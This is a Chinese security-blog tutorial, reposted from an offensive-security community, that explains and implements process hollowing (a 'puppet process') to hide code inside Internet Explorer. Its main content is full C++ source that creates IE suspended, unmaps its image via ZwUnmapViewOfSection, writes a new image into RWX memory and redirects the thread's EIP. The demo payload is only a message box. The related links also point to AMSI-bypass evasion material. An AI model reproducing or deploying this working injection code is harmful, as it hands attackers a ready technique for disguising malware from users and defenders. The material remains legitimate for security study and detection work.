实战|傀儡进程的分析与实现

渗透技巧 2年前 (2021) admin
1,153 0 0

文章首发于奇安信攻防社区

原文链接:https://forum.butian.net/share/825

前言

对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。

基础知识

挂起方式创建进程

我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。

我们知道创建进程用到CreateProcess这个函数,首先看下结构

BOOL CreateProcess(   LPCTSTR lpApplicationName, // 应用程序名称   LPTSTR lpCommandLine, // 命令行字符串   LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性   LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性   BOOL bInheritHandles, // 是否继承父进程的属性   DWORD dwCreationFlags, // 创建标志   LPVOID lpEnvironment, // 指向新的环境块的指针   LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针   LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息   LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息  );  

其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数

lpProcessAttributes

CreateProcess结构中的第三个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承

typedef struct _SECURITY_ATTRIBUTES {       DWORD  nLength;  //结构体的大小       LPVOID lpSecurityDescriptor;  //安全描述符       BOOL   bInheritHandle; //指定返回的句柄是否被继承} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

lpThreadAttributes

CreateProcess结构中的第四个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承

typedef struct _SECURITY_ATTRIBUTES {       DWORD  nLength;  //结构体的大小       LPVOID lpSecurityDescriptor;  //安全描述符       BOOL   bInheritHandle; //指定返回的句柄是否被继承} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

那么这里验证一下挂起进程之后就不能够对进程进行操作

父进程代码,创建一个ie浏览器的进程并调用CreateProcess创建子进程

// win32 create process3.cpp : Defines the entry point for the console application.// #include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){    char szBuffer[256] = {0};                                    char szHandle[8] = {0};                                                                        SECURITY_ATTRIBUTES ie_sa_p;                                    ie_sa_p.nLength = sizeof(ie_sa_p);                                    ie_sa_p.lpSecurityDescriptor = NULL;                                    ie_sa_p.bInheritHandle = TRUE;                                                                         SECURITY_ATTRIBUTES ie_sa_t;                                    ie_sa_t.nLength = sizeof(ie_sa_t);                                    ie_sa_t.lpSecurityDescriptor = NULL;                                    ie_sa_t.bInheritHandle = TRUE;                                         //创建一个可以被继承的内核对象,此处是个进程                                        STARTUPINFO ie_si = {0};                                       PROCESS_INFORMATION ie_pi;                                    ie_si.cb = sizeof(ie_si);                                                                        TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");                                        CreateProcess(                                        NULL,                                     szCmdline,                                     &ie_sa_p,                                     &ie_sa_t,                                     TRUE,                                     CREATE_NEW_CONSOLE,                                     NULL,                                     NULL, &ie_si, &ie_pi);                                                                     //组织命令行参数                                    sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);                                    sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);                                                                        //定义创建进程需要用的结构体                                    STARTUPINFO si = {0};                                       PROCESS_INFORMATION pi;                                    si.cb = sizeof(si);                                                                        //创建子进程                                    BOOL res = CreateProcess(                                        NULL,                                     szBuffer,                                     NULL,                                     NULL,                                     TRUE,                                     CREATE_NEW_CONSOLE,                                     NULL,                                     NULL, &si, &pi);                                  return 0;}

子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread挂起进程,等待5s后使用ResumeThread恢复进程

// win32 create process4.cpp : Defines the entry point for the console application.// #include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){    DWORD dwProcessHandle = -1;                            DWORD dwThreadHandle = -1;                            char szBuffer[256] = {0};                                                                                    memcpy(szBuffer,argv[1],8);                            sscanf(szBuffer,"%x",&dwProcessHandle);                                                        memset(szBuffer,0,256);                            memcpy(szBuffer,argv[2],8);                            sscanf(szBuffer,"%x",&dwThreadHandle);                                                        printf("获取IE进程、主线程句柄n");                            Sleep(5000);                            //挂起主线程                            printf("挂起主线程n");                            ::SuspendThread((HANDLE)dwThreadHandle);                                                        Sleep(5000);                                                        //恢复主线程                            ::ResumeThread((HANDLE)dwThreadHandle);                            printf("恢复主线程n");                                                        Sleep(5000);                                                        //关闭ID进程                            ::TerminateProcess((HANDLE)dwProcessHandle,1);                            ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);                                                        printf("ID进程已经关闭.....n");            char szBuffer[256] = {0};                            GetCurrentDirectory(256,szBuffer);                                printf("%sn",szBuffer);                 getchar();     return 0;} 

这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程

实战|傀儡进程的分析与实现

以挂起模式启动进程,只需要改一个地方,就是CreateProcess的第六个成员,设置为CREATE_SUSPENDED(非活动状态)即可,挂起之后使用ResumeThread恢复执行

// win32 create process3.cpp : Defines the entry point for the console application.// #include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){    STARTUPINFO ie_si = {0};                       PROCESS_INFORMATION ie_pi;                    ie_si.cb = sizeof(ie_si);                                        TCHAR szBuffer[256] = "C:\Documents and Settings\Administrator\桌面\notepad.exe";                    CreateProcess(                        NULL,                                      szBuffer,                                    NULL,                     NULL,                      FALSE,                                       CREATE_SUSPENDED,                         NULL,                                        NULL,                                        &ie_si,                                      &ie_pi                                      );                                    //恢复执行                    ResumeThread(ie_pi.hThread);                        return 0;}

实现效果如下,这里使用挂起模式创建notepad,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread恢复执行之后就是一个正常的进程

实战|傀儡进程的分析与实现

实现过程

知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。

这里我使用了一个内核apiZwUnmapViewOfSection,用来清空之前内存里面的数据

那么首先我们把创建进程这部分写一个单独的函数

使用CREATE_SUSPENDED挂起创建进程的方式

CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下

BOOL CreateIEProcess()    {    wchar_t wszIePath[] = L"C:\Program Files\Internet Explorer\iexplore.exe";    STARTUPINFO si = { 0 };        si.cb = sizeof(si);    BOOL bRet; CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);     if (bRet)    {        printf("Create IE successfully!nn");    }    else    {        printf("Create IE failednn");    }    return bRet;}

然后使用内核apiZwUnmapViewOfSection卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection的结构

NTSTATUS   ZwUnmapViewOfSection(    IN HANDLE  ProcessHandle,    IN PVOID  BaseAddress    );

这个函数在wdm.h里面声明,那我们使用ntdll.dll将这个api加载进来

ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

然后使用GetModuleHandleA获取模块基址

HMODULE hModuleBase = GetModuleHandleA(NULL);

使用GetCurModuleSize获取映像大小

DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext

Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;GetThreadContext(pi.hThread, &Thread);

下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory来获取,首先看下PEB的结构

root> dt_pebnt!_PEB+0x000 InheritedAddressSpace : UChar+0x001 ReadImageFileExecOptions : UChar+0x002 BeingDebugged     : UChar+0x003 BitField          : UChar+0x003 ImageUsesLargePages : Pos 0, 1 Bit+0x003 SpareBits         : Pos 1, 7 Bits+0x004 Mutant            : Ptr32 Void+0x008 ImageBaseAddress : Ptr32 Void

ImageBaseAddress在+0x008这个位置,所以这个地方ReadProcessMemory的参数就是PEB+8

DWORD GetRemoteProcessImageBase(DWORD dwPEB){    DWORD dwBaseAddr;    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);    return dwBaseAddr;}

使用ZwUnmapViewOfSection来卸载空间数据

ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

卸载完空间数据之后,用VirtualAllocEx重新为我们创建的进程申请一块空间

VirtualAllocEx(pi.hProcess,    hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

然后使用WriteProcessMemory写入

WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

在写入完成之后使用GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文

ThreadCxt.ContextFlags = CONTEXT_FULL;

然后修改eip指向我们自己的函数地址,这里写一个MessageBox

DWORD GetNewOEP(){    return (DWORD)MessageBox;    } void MessageBox(){    MessageBoxA(0, "Inject successfully", "", 0);    } Threadna.Eip = GetNewOEP();

完整代码如下

#include <windows.h>#include <tchar.h>#include <iostream>using namespace std;  typedef long NTSTATUS; typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(    IN HANDLE ProcessHandle,    IN LPVOID BaseAddress    );pfnZwUnmapViewOfSection ZwUnmapViewOfSection; PROCESS_INFORMATION pi = { 0 };     BOOL CreateEXE(){    wchar_t wszIePath[] = L"C:\Program Files\Internet Explorer\iexplore.exe";    STARTUPINFO si = { 0 };    si.cb = sizeof(si);    BOOL bRet;     bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);     if (bRet)    {        printf("[*] Create process successfully!nn");    }    else    {        printf("[!] Create process failednn");    }     return bRet;}  DWORD GetCurModuleSize(DWORD dwModuleBase){    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);    return pNtHdr->OptionalHeader.SizeOfImage;}  DWORD GetRemoteProcessImageBase(DWORD dwPEB){    DWORD dwBaseRet;    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);    return dwBaseRet;} void Mess(){    MessageBoxA(0, "Inject successfully", "", 0);} DWORD GetNewOEP(){    return (DWORD)Mess;}  int _tmain(int argc, _TCHAR* argv[]){     ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");    printf("[*] ZwUnmapViewOfSection address is : 0x%08Xnn", ZwUnmapViewOfSection);        if (!ZwUnmapViewOfSection)        {        printf("[!] ZwUnmapViewOfSection failednn");        exit(1);    }     if (!CreateEXE())        {        printf("[!] Create Process failednn");        exit(1);    }     printf("[*] The process PID is : %dnn", pi.dwProcessId);    HMODULE hModuleBase = GetModuleHandleA(NULL);     DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);     CONTEXT Thread;     Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;     GetThreadContext(pi.hThread, &Thread);      DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);     ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);     LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     if (lpAllocAddr)    {        printf("[*] VirtualAllocEx successfully!nn");            }    else    {        printf("[!] VirtualAllocEx failednn");        return FALSE;    }     if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))    {        printf("[!] WriteProcessMemory failednn");        return FALSE;    }    else    {        printf("[*] WriteProcessMemory successfully!nn");    }     Thread.ContextFlags = CONTEXT_FULL;    Thread.Eip = GetNewOEP();     SetThreadContext(pi.hThread, &Thread);     if (-1 == ResumeThread(pi.hThread))    {        printf("[!] ResumeThread failednn");        return FALSE;    }    else    {        printf("[*] ResumeThread successfully!nn");    } }

实现效果

到这我们的函数就已经成功了,运行一下弹出了messagebox,证明修改eip成功

实战|傀儡进程的分析与实现

实战|傀儡进程的分析与实现


推荐阅读


实战 | 记一次攻防演练


干货 | 绕过AMSI实现免杀的研究和思路


实战 | C++ Socket详解与研究


实战 | 进程启动技术的思路和研究


点赞 在看 转发


实战|傀儡进程的分析与实现

原文始发于微信公众号(HACK学习呀):实战|傀儡进程的分析与实现

版权声明:admin 发表于 2021年11月19日 上午1:02。
转载请注明:实战|傀儡进程的分析与实现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...